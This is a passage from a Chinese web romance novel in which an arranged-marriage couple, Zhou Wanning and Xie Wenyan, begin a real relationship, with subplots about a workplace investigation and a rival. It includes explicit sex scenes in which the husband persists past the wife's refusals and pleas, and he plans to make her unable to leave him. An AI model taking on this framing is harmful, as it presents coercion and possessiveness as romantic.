他问:“叶希荷在吗?” 叶希荷不解:“就是我,你找我有什么事?” 李叔看着她,目光冷然地说道:“集团接到举报,您在自家开办补习班,还以盛坤教育的名义敛财。现在集团正在着重抓贪腐,还请您跟我们走一趟,接受集团内部调查。” 叶希荷愣住了。 不仅是她,办公室的其他人也都愣住了。 这可不是一件小事。 叶希荷连忙喊冤枉,不想跟着去。 但这次李叔是带了警察过来,有传唤令,所以她还是被带走了。 办公室的人都心有戚戚,当目光落在叶希荷办公桌上新换的豪车钥匙时,心里也都了然了几分。 有人小声道:“这怕是要赔钱吧。” “赔钱还是小事。如果调查出来数额巨大,至少要关几年。”徐婧摇摇头,觉得叶希荷这次真是踢倒铁板了。 平时小打小闹也就算了,这一次竟然敢这样欺负周绾宁? 徐婧回忆那天在谢老爷子寿宴上的情形。 虽然谢家并不待见周绾宁,可谢温言护她跟护个宝贝一样。 她不禁觉得,这次叶希荷进到里面都算是在保护自己了。 徐婧叹息一口,拿起教具去帮周绾宁代课。 * 梧桐湾,餐厅里。 周绾宁正在跟谢温言大眼瞪小眼。 今天她的烧不仅没退,还上升了0.1°。 两人准备饭后去医院看看。 但现在周绾宁没胃口吃东西,见谢温言递勺子过来,还下意识侧过头躲避。 谢温言耐心哄着:“你的胃本来就不好,再不吃些小米粥,又犯胃病了怎么办?” “不想吃。” “吃不下也得吃,周绾宁别的我都可以依你,就不吃饭这点不行。” 周绾宁很认真地问:“为什么?” 好像一直以来,他对她的饮食很是重视。 “因为……” “我奶奶是胃癌去世。” 周绾宁愣了下,默默张嘴将一勺小米粥吞下。 从小到大,她一发烧就会闹小孩子脾气,特别是在吃上面,要是她不饿,爸爸妈妈是一点也喂不进去的。 但现在为了安抚这两天熬夜照顾自己的谢温言,她在努力克服。 谢温言眉目松快了许多,继续给她喂。 直到吃完小半碗,他才放过周绾宁,让她先上楼换衣服,他吃完就上去。 不时,桐姨进到了餐厅里。 她面上有些纠结:“先生,外面有人送来了一份花盒,里面有玫瑰花,但因为夫人是收货人,所以我不清楚该不该放进屋里。” 谢温言吃饭的动作顿了下,想起上次送到办公室的两束玫瑰花,不免心有余悸。 他走过去,在玄关处抽了口罩给自己戴上,随即来到门外。 花盒摆在地上,洋甘菊为主,玫瑰花为辅,搭配得很有特色。 谢温言拿起小卡片,上面写了一行字:【希望我的绾宁快点好起来,爱你的星禾赠。】 他顺着往下看去,目光却在对上卡片的logo时,顿住了。 “……” 送到他办公室的花和今天这束,竟然都来自于这家叫星禾的花店。 难道…… 有一个近乎荒唐的猜想,在他心里破茧而出。 他蹙起眉头,拿出手机对着花店的号码,拨出电话。 第20章 试试 “周绾宁,我们试试?”【修设定…… “您好, 星禾花店,请问是要订花吗?” 电话一接通, 对面传来一个甜美的声音。 谢温言看着卡片,眸色沉沉:“您好,是店长吗?我是周绾宁的丈夫,谢温言。” 他直接报上自己的名号。 电话那端顿了下。 很快,对方反应过来,先是惊呼了一声,而后连忙问道, “真的是谢先生吗?我家宁宁还好吗?她在不在你旁边, 能不能让我跟她交流下?” 一连串的问题, 足以见林星禾对周绾宁的在意。 昨晚, 从明潇那得知,周绾宁被人困在了雷暴天里的舞蹈教室许久,后来还发了烧。 她心疼不已。 可惜实在抽不开身,所以只能送了花盒到梧桐湾进行慰问。 周绾宁喜欢洋甘菊。 看到花, 心情好了,兴许身体也能快点好。 “还好,除了一直高烧不退外, 其他还算正常。但她现在不在我身边,所以没法跟你交流。” 听到周绾宁不在,林星禾想着让她继续休息,便道:“没事的,谢先生, 宁宁在休息的话,就让她好好休养。” 回答完,林星禾心中又是疼惜又是气愤, 最后,所有情绪都化为了一句拜托,“谢先生,那就麻烦您帮我好好照顾宁宁了。” 京市里知道周绾宁和谢温言这场婚姻是交易的人不多。 林 𝑪𝑹 星禾恰好就是其中一个。 早前,周绾宁常用“甲方”这两个字形容谢温言。 所以在林星禾的观念里,这俩夫妻日常相处是上下级关系。有点感情,但不深厚。 现在,她十分希望这位甲方先生能展露些温柔,帮忙多照顾一下周绾宁。 “会的。” 谢温言应下声。 他目光落下,盯住花盒里的玫瑰,向她说明自己打这个电话的真实意图。 “我看你的店叫星禾花店。” “两周前,我的办公室有收到该花店送来的两束玫瑰花。对此,你还有印象吗?” 林星禾当然有印象,但她不知道该不该说。 不过听到谢温言此刻对周绾宁的关心和爱护,她觉得两人的关系应该也不差。 或许自己这一说,能帮夫妻俩把感情升华一下。 “是宁宁叫我送的。” 这端,听到林星禾的答案,谢温言的心脏像是被什么撞了一下,闷且涩。 “原本是要送七天的,但送了两天她说不用送了,说你花粉过敏。” 他沉下眼眸紧紧闭上,霎那间了然一切。 他忍着喉间的沙哑,淡声道:“谢谢。改天欢迎来梧桐湾吃饭,让我和宁宁有机会好好招待你。” “嗯嗯。” 谢温言挂断了电话,转而给林晗发了条消息,要她去64层前台那帮忙查两周前的到访名单。 三分钟后,林晗发了图片过来。 谢温言看到了。 那天的名单上赫然是有周绾宁三个字的存在。 * 周绾宁上楼后的行动可以用磨蹭来形容。 她默默坐在衣帽间的小沙发上,蜷缩成一团,有些不太想去医院。 今早她睡醒,就看见谢温言躺在自己身边。 阳光撒在他脸上,是别样的清透好看,让发着烧的她几度陷入恍惚,感慨怎么会有这么漂亮的人。 然后,趁谢温言还在熟睡,她像个小偷一样,偷偷凑过去亲了他一口。 既然不能光明正大地拥有他,那么在暗地里,她也要好好享受享受。 而这种心态、这种想法,一直延续到了现在。 她不想去医院,是不想那么快痊愈。 只有继续发烧,她才可以光明正大多依赖谢温言几天。 想来生病的人,就算变得粘人些,也不至于……被人讨厌的吧? 就在周绾宁胡思乱想间,衣帽间的门开了。 她像受到惊吓一样,双手撑在沙发上,茫然抬头看向朝自己走来的谢温言。 他已经换好了衣服。 白皙的皮肤在黑色紧身衬衫下,充满了禁欲气息。 卷起的衣袖下,包着青色筋络的手臂性感又有力,以前抓着她脚踝时,就让她挣不脱。 显然,他收拾好,准备来抓她去医院。 随着他的逼近,周绾宁交叠的双脚蜷缩起来,整个人呈现出躲避的姿势。 在他彻底站定到她面前后,她起身要溜,谁知道下一秒,谢温言看出她的意图,伸手勾住她的腰。 两人转了半圈,最后他落座在了沙发上。而她被勾坐在了他的腿上。 他双手松松地箍住她的腰,这个姿势就像是在说: 别想逃。 不过,周绾宁也注意到,靠在沙发椅背上的谢温言,那双温柔的深情眼周围有些泛红,瞳孔里的情绪复杂万分。 有心疼和歉疚,还有另一丝让她猜不透的情绪。 他伸手捧着她的脸,眼眸里深情到让她恍惚。 他没有问她为什么没有换好衣服,也没有问她为什么躲在这里,而是问她:“两周前,你让星禾花店送过我两束玫瑰花,对吧?” 听到这个,周绾宁内心咯噔了一下,烧红了的眼慌张地看着他。 许久,她才反应过来,下意识道歉:“对不起,我、我不是存心想害你过敏。” 那天的记忆再次于她脑海里浮现—— 谢温言是如何剧烈咳嗽,他脸色是如何苍白。 向来身体强健的人,因为她的疏忽差点要去医院。 虽然事情已经过去两周,但因未曾和他道过歉,她心中的愧疚越累越多。 现在他一提及,她就慌不择路地想承认错误。 看到周绾宁的反应这样大,谢温言闭了闭眼,一种失落又心疼地感觉穿过他的四肢百骸。 就因为他觉得不可能是周绾宁送花给她,所以她那天来盛坤,看到她的花被丢在垃圾桶,是什么样的心情,他甚至不敢想。 谢温言安抚着揉揉她的发:“怎么会突然想到,送花给我?” 不等她回答,他又自问自答着,“异性间送玫瑰花的意思,我想你不可能不知道。绾宁,我可以认为你是在……追我吗?” 周绾宁觉得自己这时候该否认的。 但谢温言眼底的笃定,让她误以为他已经从林星禾那知道了真相,又或是她不想再违背自己的内心,于是点头承认了。 霎那间,谢温言眼底有光芒浮现,仿佛笼着一层久旱逢甘霖的欣慰。 未料,周绾宁的下一句话,打散了他的欢喜:“但现在,已经没追了。” “……为什么不追了?” 周绾宁垂下眼眸,掩去心底的难堪,找了一个很合适的借口。 “我之前想追你,是因为我很喜欢你在廖家那次,坚定地站在我那边。” “那是不管对错,只讲立场的撑腰。而那次,你的立场就是周绾宁。” “那时我想,我们之间虽然没有爱情,但也可以做很好很好的家人。” 这是周绾宁的真心话。 就算他们没有相爱,但因为谢温言是一个很不错的人,所以她很想和他在一起。 “只是……”周绾宁顿了顿,“后来我觉得我们之间可能不太合适。” “没有在一起试试,怎么知道合不合适?”谢温言语气坚定,“万一,我们天生就该是夫妻呢?” 自从知道周绾宁有追过自己,他就没想过给她撤退的机会。 纵使她并不爱自己,只是需要一个依靠。 他也不想错过任何能被周绾宁依赖的可能。 现在周绾宁已经踏出了一步,那就由他走完剩下的九十九步。 她爱不爱他都无所谓,只要她愿意跟他一直做家人。他们之间何愁没有比爱情更深的感情? “周绾宁,我们试试?” 他捏着她的手,试探着提议。 面对十亿百亿项目都不曾惧怕过的人,现在却很怕周绾宁拒绝他。 周绾宁则从他说出试试开始,便凝固了想法。 眼前局面的转变,着实让她没能转过弯来,陷入到不知所措中。 之前的碰壁,已经使得她不敢再走出安全区一步。 但正如这些天内心所受的煎熬一样。 她也不甘心就这么放手一个很护着自己、自己也很喜欢的人。 她活了二十五年,喜欢过两个人,一个无疾而终,而眼前这个…… 她无比强烈地想和他有以后。 这是连她自己都无视不了的念头。 在一番深思熟虑下,周绾宁决定先跟他交涉清楚关于沐黎的问题。 她组织了下语言,想让自己显得没那么在意:“之前谢霜鄞说,如果不是我,沐黎将会是你的妻子。” “我不知道你们之前到底是怎样的感情。当然,我提这个不是因为吃醋。” “而是你也知道,爱情具有排他性。如果我们要在一起试试,我会做好这期间心里没有其他人。” 说完以上这些话,周绾宁小心翼翼地试探他,“你……也会吗?” 听到周绾宁提沐黎,谢温言就知道那天他和沐黎在办公室的情形,可能让她误会了什么。 “首先,我从未喜欢过沐黎,她从不是谢太太的人选。” 说这话时,谢温言的目光灼热地盯着她,不想错过她一丝一毫的表情。 最后,他坚定地告诉她,“我会。” 从始至终,他的心里一直有、也仅有她。 谢温言的话和笃定的语气,让周绾宁有说不清道不明的滋味,最后她想了想,那是绝境逢生的欣喜。 因为这代表着她还有机会走进他心里…… 这时,男人的双唇 椿?日? 凑过来,与她的近在咫尺,似乎在等她的首肯。 周绾宁目光落在他柔軟的双唇上,情不自禁地抿了抿自己的。 最后,像是下定决心一般,她缓缓抬起下巴,促使两人的双唇轻柔贴上。 瞬间,谢温言隐忍克制着的弦断裂。 他将周绾宁端起来,放到自己的双膝上跨坐。 一手揽着她的腰,一手按着她的后颈,迫使她仰头接受自己的热吻。 爱意已经藏匿在他心头许久许久。 而这一次得到她给的机会后,就再也藏不住了。 * 见一楼的李叔的车始终等在外面,桐姨以为楼上有意外情况发生。 她顺着楼梯上去主卧,准备询问里面的人,有无需要她帮忙的地方。 未料刚张嘴还未出声,里头突然传来自家夫人一声婉转的低咛。 是平日里优雅端庄的夫人,不会发出来的声音。 过来人的桐姨立马眨巴了两下眼,笑了出来,片刻后又担心,夫人还在发烧会不会受不住。 但想到医生的交代,说是平日里多运动下,出出汗也好。 于是她果断下楼让李叔先别等了。 没三个小时,这俩今天是不会出门的。 昏暗的房间里。 周绾宁躺在席梦思上不住颤栗着,眼神迷离地看着拉起的窗帘间,那悬挂着风铃羽毛。 现在她的身心,比它还要轻盈悦动。 感受到下方男人疼惜又温柔地吻着自己,她伸手放到嘴前,轻轻用唇齿抵住。 然而纵使这样,她还是时不时被激得发出那些羞耻的声音来。 她也不知道怎么就这样了…… 两人先是在衣帽间的沙发上亲吻,后来她被放到了他的手表展台上。 下方每只昂贵的表盘映出上方缠吻的他们。 冰冷的玻璃上,是火热的相拥。 后来,好像是她先动的手,摸进他的黑色衬衫里,指甲划过他的身肌,被他握住。 他凑到她耳边低笑:“上次撩了我不负责,这次又想撩我,就那么想看我吃不到,而抓狂的样子吗。” 或许是求爱的谢温言实在是太可口,那时,她脑子一抽,回了句:“我会负责的。” 话说完她就后悔了。 但谢温言没有给她后悔的机会,他垂下黑沉的眼眸,再度强势地吻上来。 她看到落地镜里,他箍着她,爱她,不顾她求饶。 也看到他将她抵在门上,不让她触地,让她双臂圈着他。 以他为支点,得暂时安息,过后是跌宕不定,难以平息。 再后来,他们洗了澡。 她想着可以结束了,却被他带到了卧室里。 他抚在她身上,像是对待蛋糕一样品尝她。 她有拒绝过他那样做。 谢温言却是凑上来,像喝了酒一样,眉眼带着醉意,神色也迷乱万分:“宁宁是甜的,不脏。” 没想到两人决定试试后,他会做到这一步,让她招架不住。 他们之前并没有过这样,她甚至以为谢温言失去哪里进修过了。 随着她侧过头默许他的耍坏与突然撞击的野蛮。 忽然他就这么停下了,深情凝视着她。 周绾宁的指甲掐着他的臂肌,是受不住,也是被升起来的爽意,弄得头晕目眩后的一种自我救赎。 “绾宁,说你,要我。” 被他用灼热的眼神看着,还被强迫说这种话,周绾宁满是羞赧。 但随着他的一浅一重,她终是泄了强撑的力气,低低喊出声,在他怀里軟得不像话。 谢温言勾起嘴角,在感受到她的求他若渴后,快速冲击起来。 风铃上的羽毛开始浮动,每浮动一下,室内的爱意就多几分。 * 后来,两人是第二天一早,去的盛坤私立医院。 难得来医院一次,谢温言让他的专属医生为周绾宁进行一遍全面检查。 他则在半小时后,敲开了他阿姨的办公室。 温璐琳正在观察周绾宁的胃部情况,直言表示:“放心吧,你把她的胃调养得不错,继续保持。” 得到小姨这声肯定,谢温言眉心一松。 “也没白费你这两年让我开各种药膳给桐姨,让她帮忙照顾绾宁的肠胃。” “谢谢小姨对绾宁的悉心照料。”谢温言真挚感谢。 温璐琳一边说不客气,一边问他:“就这么喜欢绾宁啊?”眼底都是长辈对晚辈的爱护。 她看着谢温言从小萝卜头长大到现在这样,这孩子好像还没对一个人这么上心过。 谢温言像是深思熟虑了一番,然后很肯定道:“喜欢。还打算用一生来喜欢。” 另一边。 周绾宁做完最后一项检查,迎面和一个女生在楼梯口撞上。 她正准备道歉,却见对方是…… 沐黎。 但显然,沐黎也很意外会在这里看到她,神色有些讶异。 周绾宁其实并不愿意与她有过多接触。 特别是在发现自己不喜欢的两个人,都和她玩得比较好的时候。 所以她和沐黎的相处之道,最好仅限于点头之交。 想着,周绾宁对她微微颔首,转身要走。 这时,沐黎出声道:“希荷的母亲,因为她女儿的事,犯了高血压,就在这里抢救,你不该去看看吗?” 周绾宁回过头,定定地看着她。 沐黎愣了下:“怎么这样看着我?” “我想……她母亲进医院不是我造成的,所以我没有义务去看望。” 沐黎也是被周绾宁眼中无形的压迫感弄得愣了下。 一方面有些惊讶于自己竟然能在周绾宁的神色里看到了谢温言的影子。 另一方面,她是意识到自己话里的意思,周绾宁听明白后竟然会选择直接反击。 于是她准备解释迂回此刻有些冷下的气氛:“不是你想的那个意思。我的意思,毕竟你们是同事。” 但她不解释还好,一解释,她话里的原意在周绾宁心里敲下了铁锤。 “沐小姐,从叶希荷把我关在幼儿园这件事可以看出,她压根也没把我当同事对待。” 周绾宁想了想,还是觉得该将自己的话说出口。 毕竟她不是什么人都能来揉搓的包子。 “我知道你和叶希荷是好朋友,那天也一起出现在幼儿园的监控里了,所以你拉偏架很正常。但我想,你与其在这指责我为什么不去看望她妈妈,还不如在她做出过激行为前,好好规劝一下你朋友的言行举止。” 沐黎一噎,想说些什么来反驳,却是什么也说不出来。 周绾宁好似将她归为了像叶希荷那样的人。 她竟然有种被羞辱到。 这时,谢温言从温璐琳的办公室出来,看到周绾宁站在风口,他走过去将没披外套的妻子揽入怀里,接过挂在她手臂上的外套,为她裹起来。 做好这一切,他才注意到一旁的沐黎,对她颔首,算是打过招呼了。 沐黎要唤他名字的声音,顿时湮灭在唇齿间。 半晌后,她才艰难出声:“温言……” 然而谢温言像是没听见,一边帮周绾宁系纽扣,一边问她:“检查后感觉还好吗?带你去附近一家不错的私厨吃饭?” 全然将沐黎当做了透明人。 “好啊,那家私厨我记得之前奶奶住院,你带我去吃过,里面的椒盐排骨特别好吃。” 谢温言被逗笑,语气万般宠溺:“好,那就多吃点。” 接着,他看向沐黎。 就在沐黎以为他要邀请自己一起时,谢温言道:“失陪,我和绾宁先走一步。” 说完,他们相携离开。 留在原地的沐黎忍不住嗤笑一声,垂在身侧的拳头死死握紧。 她打电话给了刚从冰岛接回儿子的孙晗莉:“伯母,最近有空吗?” “我想约你吃个饭,好好了解下周绾宁和谢温言的……爱情故事。”【你现在阅读的是魔蝎小说 moxiexs】 20-30 第21章 初恋 换了三次床单。 近日工作告一段落, 谢温言起身上楼。 恰好宋承珉发了消息过来,说是已经帮忙订好了君澜山庄的房间, 附带一张图片。 看到环境不错的酒店房间,谢温言的嘴角忍不住上浮一个像素点。 回了句【谢了】,他推门走进房间。 原以为周绾宁已经在床上看书或是休息,谁知 ?????? 道她坐在地毯上,正在收拾去度假的衣服,一旁放着的,是他们的行李箱。 谢温言撩了下裤子, 坐到她对面, 和她一起收拾。 期间, 两人谁都没说话, 但就是有一种特别的黏腻感,在两人周身蔓延。 周绾宁也没想到叠个衣服会把自己弄得红温,甚至是呼吸放缓放慢,不然她就会被他身上的雪松味一点点吞噬掉。 到时候理智不在, 满脑子都会是他。 为了躲避他的灼热目光,她的视线不经意落在了谢温言叠她衣服的手上。 刚刚他帮她折叠上衣时还好。 可当他折叠她的内衣时,她的脑海里就全是他扯下它们的画面。 专制、不容拒绝。 不过, 谢温言做什么都很一丝不苟。 就算是帮忙叠她的内衣,都很细致入微,一点点收拾好放进防尘袋,然后放到行李箱的小内袋里。 忽然,他摸到什么, 抓起来一看,微微一愣。 周绾宁倒是眸光瞬间就亮了,伸手过去从他的手心里抓过钥匙扣, 脸上有失而复得的欣喜。 “原来在这啊,一直以为是搬家的时候被我弄丢了。” 谢温言记得这个钥匙扣。 五年前,他在国外读研,偶遇周绾宁在国外演出。 她在当地的展台处,看中了这枚兔子玩偶抱着洋甘菊的钥匙扣,可惜因为赶时间最后没有买下。 他将它买了,邮寄到当时还不是他岳父的周翀宇手中,说是送给小侄女的礼物。 “它很重要?”谢温言故意这么问。 “啊,我每次参加舞……”话音在这戛然而止。 周绾宁其实一直没想好该怎么跟谢温言坦白自己想要跳舞的事情。 之前一直存在心底的难题,好似又回来了。 但她已经做了决定。 暂且先不告诉他自己打算重回舞台的决定。 等过了京舞团的考核,她再跟他坦白自己想从幼儿园离开,去舞台演出的事。 反正,无论如何她是一定要回舞台的,只是时间问题。 “怎么了?”谢温言见她沉默了,耐心等她下文。 周绾宁轻咳一声:“我拥有它之后,它就像是给我带来了幸运,每次舞蹈比赛都能拿冠军。上次搬家没找到它,我还失落了很久呢。” “是别人送的吗?” 周绾宁这次反应倒是很灵光:“诶?你怎么知道这是别人送我的?” 谢温言手握成拳掩在唇前,掩盖自己的慌乱:“猜的。” 周绾宁拎起玩偶放到阳光下,好看的眼神盯着它,有些陷入回忆里:“嗯,是我的小叔叔送我的。” 瞬间,谢温言眼眸里的慌乱凝滞成霜:“怎么会……” “哦,我还没跟你提过我小叔叔吧。” 周绾宁也不知道该跟谢温言介绍那个自己曾经暗恋过的人,但他不知道的话,就没必要跟他在提起她暗恋周思恒的过往。 “他是我爷爷奶奶领养的小孩,年纪跟你差不多大。我跟他可以说是一起长大的。我们之间的感情……也很好,但那都过去了。” 谢温言下意识问:“所以,你还在等他吗?” 周绾宁再次蹙起眉头。 不对劲。 今晚谢温言有点怪怪的。 不仅说的话怪怪的,情绪也怪怪的。 “你怎么知道我小叔叔不在这?” 谢温言装作若无其事,找了个很合适的借口:“我们结婚那么久,他从未出现,你也没想过带我去见见他,就代表他至少不在京市里了。” 这个解释,没什么问题。 周绾宁点头告诉他:“他两年前出国了,我也……确实在等他回来。” 她在等周思恒回来回答她—— 为什么在她和周家最需要他的时候,他不见了;他在周家破产这件事情上,是不是也做了什么。 谢温言心脏微感刺痛,他垂眸:“好,我陪你一起等。” 周绾宁点头,将那小兔子仔细收起来,随后凑过去拥抱他,但因为腿麻了,导致过去的时候她的身形有些不稳。 谢温言及时揽住她的腰,让她将力气贴到自己身上:“怎么?” 周绾宁也不知道自己怎么了。 只是她很想感谢,在她认为全世界都丢下自己的时候,唯独谢温言出现,并给了“无家可归”的她一个家。 虽然她一开始并不能很好地接受这个家,但自从两人说要试试后,她就很喜欢很喜欢,想一直和谢温言在一起。 于是她找了个借口:“谢谢你陪我一起等。” 原以为周绾宁是来投怀送抱的,在被她那么客气地感谢时,谢温言有失落。 他正色道:“绾宁,我们是夫妻。以后,别跟我说谢谢。” 周绾宁鼓起脸颊点头:“好。” “对了,这次去君澜山庄,我带你去见一个人。” 既然已经尝试着在一起,他也可以让她去见见那个人了。 “谁?” “到时候你就知道了。” * 下午,两人出发前往君澜山庄,进行三天两夜全身心放松的度假。 到了酒店房间,周绾宁先换上了待会要泡澡的泳衣。 在等水满的过程中,她有些纠结谢温言要带自己见的人到底是谁,去见谢温言这样重视的人,自己穿什么比较合适。 不过谢温言始终没明确告知她,要带她去见的人具体是谁。 于是她把白天收进行李箱的小裙子一一摊在了床上,放在身前对着一旁的穿衣镜比对,挑选最合适的一件。 谢温言则走到落地窗前将帘子拉下。 感觉到室内光线变暗,周绾宁懵懵地回头看他,却见谢温言正慢条斯理地解着自己的浴袍。 这一幕着实给了周绾宁不小的冲击。 谢温言自然也注意到了她慌乱的眼神。 他让她不要想歪:“只是泡温泉。” “嗯……” “当然你想要,我也会给。” 说着,谢温言边脱浴袍边踱步过来挨近她。 从周绾宁换完泳衣开始,他看着她的目光就是灼热的,带着挥之不去的占有欲。 他踩着酒店的一次性拖鞋,步履坚定地走向她,与她的拖鞋轻轻抵在一块儿。 这个动作无异于勾引。 “宁宁,要我吗?” 他凑到她耳畔说话,滚烫的气息让她的心尖一颤又一颤。 周绾宁伸手抵住他的胸膛一本正经:“谢温言,别、别勾引我。” 这两天她是来彻底放松的,不可能和他做。 昨天做完,腰酸一片。 身上的痕迹都没消下去。 万一去见他的朋友或是长辈时行动不便,会被笑话的吧。 “好,不做,只泡温泉。” 谢温言牵着她的手,带她来到他们套间隔壁的室内温泉里。 他先走进去,然后扶着周绾宁坐进去。 谢温言充当人肉靠垫,让周绾宁坐在自己的怀里。 两人就这么前胸贴后背地看向酒店外面的东湖,享受难得的闲暇时光。 直到谢温言喝了一口酒,又嘴对嘴给周绾宁也渡了一些,唇齿怎么也分不开后,场面变得失控,一发不可收拾起来。 不等周绾宁反应过来,谢温言将她往上一提,在水的作用下,轻而易举地让她面朝他,坐在他的双膝上。 此刻周绾宁脸上的绯红不知道是酒意,还是羞赧。 她看着他,目光水灵灵的,带着点清纯的惑人。 谢温言的手,情不自禁地伸过去扯开她泳衣的挂脖细绳。 一时间,绳结松开,滑下女人饱满光滑的肩头。 布料的细微摩挲,让周绾宁不可抑制地起了颤栗。 发现看着自己的谢温言眼神越发灼热,她想将自己 春鈤 藏起来,但在他怀里早已无处可藏。 忽然他低下头,用牙齿帮她扯掉后背的带子,一点一点将她身上仅剩的布料全部撤下。 但谢温言信守承诺没有急着要她,只垂首吃她。 或啃或嘬,享受在她身上留下只属于他的痕迹。 一旁的温泉还在哗哗倾泻着,飘在池面上泳衣随波逐流,随着池面一起一伏漂到边缘,随时有坠落的风险。 周绾宁仰着头,迷惘地看着上空。 等脑海里开始泛起白色雪花的马赛克时,她的指甲情不自禁嵌入了谢温言的肌肤里,似在控诉他说话不算话。 他是没有要她,但他勾得她破防,主动向他索要。 大骗子。 周绾宁在心里唾骂了一句。 那个下午,谢温言叫酒店的人来换了三次床单。 第四次的时候,周绾宁羞红了脸,抱着被子怎么也不肯让他传唤了。 看着缩成一团,从脚趾到头顶每一处都在泛红的周绾宁,谢温言无奈一笑,走过去抱着她睡到一侧的贵妃榻上。 室内有地暖,所以两人就这样睡着,也不会冷。 许是被折腾狠了,纵使睡着前周绾宁还摆着负气的抗拒他挨着她的身势。 但他轻拍了她两下,她还是在他怀里沉沉睡去。 谢温言怜惜地亲了口她的额头。 如果不是怕她生气,他还能要更多更狠。 不过现在他们都要在一起试试了,以后会有更多的机会做各种爱,他也迟早会让周绾宁的身心都离不开他。 至于她等的周思恒…… 就算有一天真的回来了,也绝无可能带走周绾宁。 谢温言敛去眼神里的暗戾,帮怀里的人揉着腰肢,安抚她睡觉。 * 大概晚上七点,周绾宁肚子有点饿,叫醒了谢温言。 两人重新收拾了一下,去酒店的餐厅吃饭。 谢温言顺便叫了酒店管家打扫房间。 简单用过餐,他们打算去一楼沿湖走走,吹吹风。 在经过一楼大厅时,两人意外偶遇了谢温言的一个朋友,对方名唤贺昱霖。 他是这个山庄的老板,也是京市贺家的二少爷。 在与周绾宁交握手后,贺昱霖大气表示周绾宁以后有什么需要,只要一个电话,他都帮她摆平。 周绾宁对他道谢。 贺昱霖说:“客气什么。” “我、温言哥、宋承珉、还有秦沐两家,小时候都在一个大院里长大。关系别提多铁了。” “你是温言哥的妻子,也就是我们这堆人的大嫂。”说着话,贺昱霖用拳头敲了下自己的心口,“以后我罩着你。” “你这话,倒是对不少人说过。”这时,一道身影在旁边响起。 周绾宁顺着声音看去,是一个没见过的女生,但她身旁的人,周绾宁见过。 秦怀,林星禾的前男友。 不过不太熟,也就见过几面。 “怎么了?” 身旁,谢温言感觉出她的异样,出声询问。 “没什么。”周绾宁回。 “哟,这位就是温言哥据说金屋藏娇了两年的美人啊,可真漂亮。我要是温言哥,也恨不得把你藏起来。”女生走过来对周绾宁伸手,“你好,谭星仪,秦怀的女朋友。” 周绾宁也回握了一下。 这时,贺昱霖建议时间还早,大家可以一起去打场斯诺克。 说着,他看向谢温言,等待他的意愿。 却见谢温言垂首温声询问身侧的周绾宁:“是想去散步,还是?” 他怕她在那么多陌生人的环境里不自在。 周绾宁温和一笑:“陪你去打斯诺克。” 既然要在一起试试,那就要尽可能融入彼此的交际圈里。 “好。” 谢温言揽着她,随朋友一起,去了台球室。 周绾宁年少时期并不常和那些有钱的公子哥大小姐在一起打交道,所以这种桌球游戏就更没碰过了。 她坐在一旁,看谢温言跟他们打。 不得不说,平时的谢温言看着跟娱乐游戏一点也不沾边。 但现在脱掉外套,卷起袖子,弯腰用杆子瞄准球的时候,整个人散发着攻击性十足、又胜券在握的气质,还有些性感。 周绾宁本以为自己会犯困会无聊,但她全身心的注意力都在这样的谢温言上,恨不得眼睛都长在他身上,没办法挪开。 不困,也不无聊,甚至还有看得失神的时候。 尤其是在看到他脖颈上、解了两颗纽扣的胸肌前,都有她下午留下的粉色痕迹时,她羞赧地低下头,假装自己很忙地给蓝莓剥皮…… 直到贺昱霖欢呼一声,她才抬头看去。 只见向来不苟言笑的谢温言在打输了后,一边用巧粉擦着球杆,一边摇头失笑,像是在懊恼这一球也能输。 这也是周绾宁很少在向来成熟稳重的谢温言身上,看到的一份少年人的好胜心。 想来,十七八岁的谢温言也会这样因为失误给对方加分后,又笑又气,而后眼神坚定地在下一局赢回来。 谭星仪笑:“你赢温言哥赢得可真不容易,全靠他失误。” “那怎么了,我赢了就成。来来来,好不容易逮着机会惩罚温言哥,快抽卡。”贺昱霖拿来真心话大冒险的卡递给谢温言。 谢温言对着周绾宁招招手。 周绾宁不解地指了指自己,在确认是自己后,听话地走到谢温言身边。 谢温言揽着她:“帮我抽张……真心话。” 虽不解为什么这点小事他不自己亲自做,但周绾宁还是很听话地帮忙了。 她看了眼自己抽到的卡片,默默念出声:“现在和你在一起的人,是你的初恋吗?” 周绾宁心里咯噔一跳,下意识抬眸看向面前的谢温言。 一旁两人开始起哄。 “哇哦,嫂子竟然抽到了这个问题,直接变修罗场了。” “温言哥,好好回答哦,这决定晚上你睡床还是浴缸!” 这一刻,周绾宁忍不住放缓呼吸,等待谢温言的答案。 第22章 祭拜 这就是你叫起床的方式? “是初恋。”谢温言答。 一句话, 让台球厅的氛围被点爆,响起欢呼。 周绾宁怔怔地看着他。 说信吗, 那是不信的。 谢温言比她大五岁,在他青春期的时候,她差不多还在玩洋娃娃。 她有自知之明。 自己不可能是他的初恋。 他的回答不过是给了现任体面。周绾宁没想拆穿。 这时,贺昱霖又在起哄让周绾宁玩两把试试。 周绾宁看向谢温言,很实诚:“我不太会。”或者说,压根没玩过。 “我教你。”谢温言拿来新的球杆,帮她用巧粉擦过后, 递给她。 周绾宁握住, 下一秒, 谢温言轻轻一拽球杆, 就让她顺着力到了他的身前。 “乖,弯腰,俯身,杆头对准球……” 说话间, 谢温言带着她俯下身去,而他那只骨骼分明的手贴着从她的手背一路推上来,与她掌心贴手背十指交叠。 这种暧昧的姿势, 直接让她的心跳,像乱了的鼓声。 身旁还响着贺昱霖他们的起哄。 周绾宁脸皮薄,不免红了脸颊。 她竭力镇定自己,不想让旁人知道,在外面她和谢温言还是第一次那么亲昵。 “看准那个红球了吗, 击打过去。” 随着谢温言音落,他推送了一下球杆。 白球被打出去,击中红球, 红球入袋。 “哇。”周绾宁惊叹一声,显然没想到会那么精准。 “学会了吗?” “有点。” “那好,自己试试。” 谢温言把主导权给她,只是身躯还没离开她的。 周绾宁也勇敢尝试了起来。 打的第一下有点偏,但在打第二球的时候,顺利进袋。 “漂亮。” 他在她耳边毫不吝啬地夸赞。 周绾宁的脸上有点小新奇:“感觉,好像也不难。” “嗯,就想有些事,不试试,怎么知道最终难不难。”谢温言说话隐晦。 但周绾宁能感知到他话里的意思。 他在点他们之间的感情,不试试怎么知道相爱有多容易。 之后,谢温言又带着她简单练了几把,多少算上手了。 谭 𝑪𝑹 星仪邀请他们一起玩四人台球,贺昱霖这个单身狗则成了两队人的裁判。 三回合下来,虽有谢温言这个实力强劲的队友在,但菜鸟绾宁终究不敌对面两个有经验的,哪怕谢温言最后力缆狂澜,最后也还是差了十多分,输掉了一局比赛。 周绾宁毕竟是从小舞蹈比赛比上来的,凡事也讲究个好胜心。 虽然这几年心态平和许多,但现在输掉比赛,多少还是有点小失落。 更重要的是,她连累了谢温言。 